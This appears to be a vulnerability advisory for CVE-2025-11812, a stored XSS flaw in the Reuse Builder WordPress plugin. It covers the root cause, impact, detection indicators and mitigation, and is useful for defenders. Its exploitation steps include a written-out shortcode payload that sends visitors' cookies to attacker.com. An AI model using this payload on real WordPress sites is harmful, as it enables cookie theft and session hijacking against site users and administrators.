CVE-2025-11812: 
WordPress vulnerability analysis and mitigation

CVE-2025-11812 is a Stored Cross-Site Scripting (XSS) vulnerability in the Reuse Builder plugin for WordPress, affecting all versions up to and including 1.7. The flaw resides in the reuse_builder_single_post_title shortcode, where insufficient input sanitization and output escaping on the style attribute allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts. It was published on November 4, 2025, and carries a CVSS v3.1 base score of 6.4 (Medium), assigned by Wordfence (Wordfence, Red Hat CVE).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically a stored XSS variant. The vulnerable code is located in shortcodes/single_post_title.php at line 24 of the plugin's version 1.7 tag, where the style attribute passed to the reuse_builder_single_post_title shortcode is neither sanitized on input nor escaped on output before being rendered in the page HTML. An attacker with at least contributor-level WordPress access can embed a malicious script payload in the shortcode's style parameter, which is then persistently stored and executed in the browsers of any user who visits the affected page (Wordfence, Plugin Source).

Successful exploitation allows an attacker to persistently inject and execute arbitrary JavaScript in the context of any user's browser session when they visit a page containing the malicious shortcode. This can lead to session cookie theft, credential harvesting, defacement of page content, redirection to malicious sites, or further attacks against authenticated administrators — potentially escalating to full site compromise. Confidentiality and integrity are both impacted at a low level per the CVSS assessment, with no direct availability impact (Wordfence).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-11812. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities. It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Red Hat CVE, Wordfence).

1. Gain contributor-level access: Register or compromise a WordPress account with at least contributor-level privileges on the target site running Reuse Builder ≤ 1.7.
2. Create or edit a post: Navigate to the WordPress editor and create or edit a post or page where the reuse_builder_single_post_title shortcode can be inserted.
3. Inject malicious payload: Insert the shortcode with a crafted style attribute containing a JavaScript payload, for example: [reuse_builder_single_post_title style=""><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
4. Publish the content: Submit or publish the post so the malicious shortcode is stored in the WordPress database.
5. Trigger execution: When any user (including administrators) visits the injected page, the unsanitized style attribute is rendered in the HTML, causing the injected script to execute in their browser — enabling session hijacking, credential theft, or further attacks (Wordfence, Plugin Source).

• Logs: WordPress access logs showing POST requests to wp-admin/post.php or the REST API from contributor-level accounts containing reuse_builder_single_post_title shortcode with unusual style attribute values including <script>, javascript:, or encoded variants.
• Database: Entries in the wp_posts or wp_postmeta tables containing the reuse_builder_single_post_title shortcode with unexpected HTML or JavaScript within the style attribute.
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages containing the shortcode, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for this stored XSS, but review plugin files in wp-content/plugins/reuse-builder/shortcodes/single_post_title.php for unauthorized modifications.

Site administrators should update the Reuse Builder plugin to a version beyond 1.7 if a patched release is available, or remove the plugin entirely if no patch exists. As an interim workaround, restrict contributor-level user permissions to prevent untrusted users from creating or editing posts that include this shortcode. Additionally, deploying a Web Application Firewall (WAF) — such as Wordfence — can help detect and block XSS payloads targeting this shortcode (Wordfence, WordPress Plugin).

Wordfence identified and reported this vulnerability, publishing it in their weekly WordPress vulnerability report for November 3–9, 2025 (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the Wordfence disclosure has been observed for this vulnerability.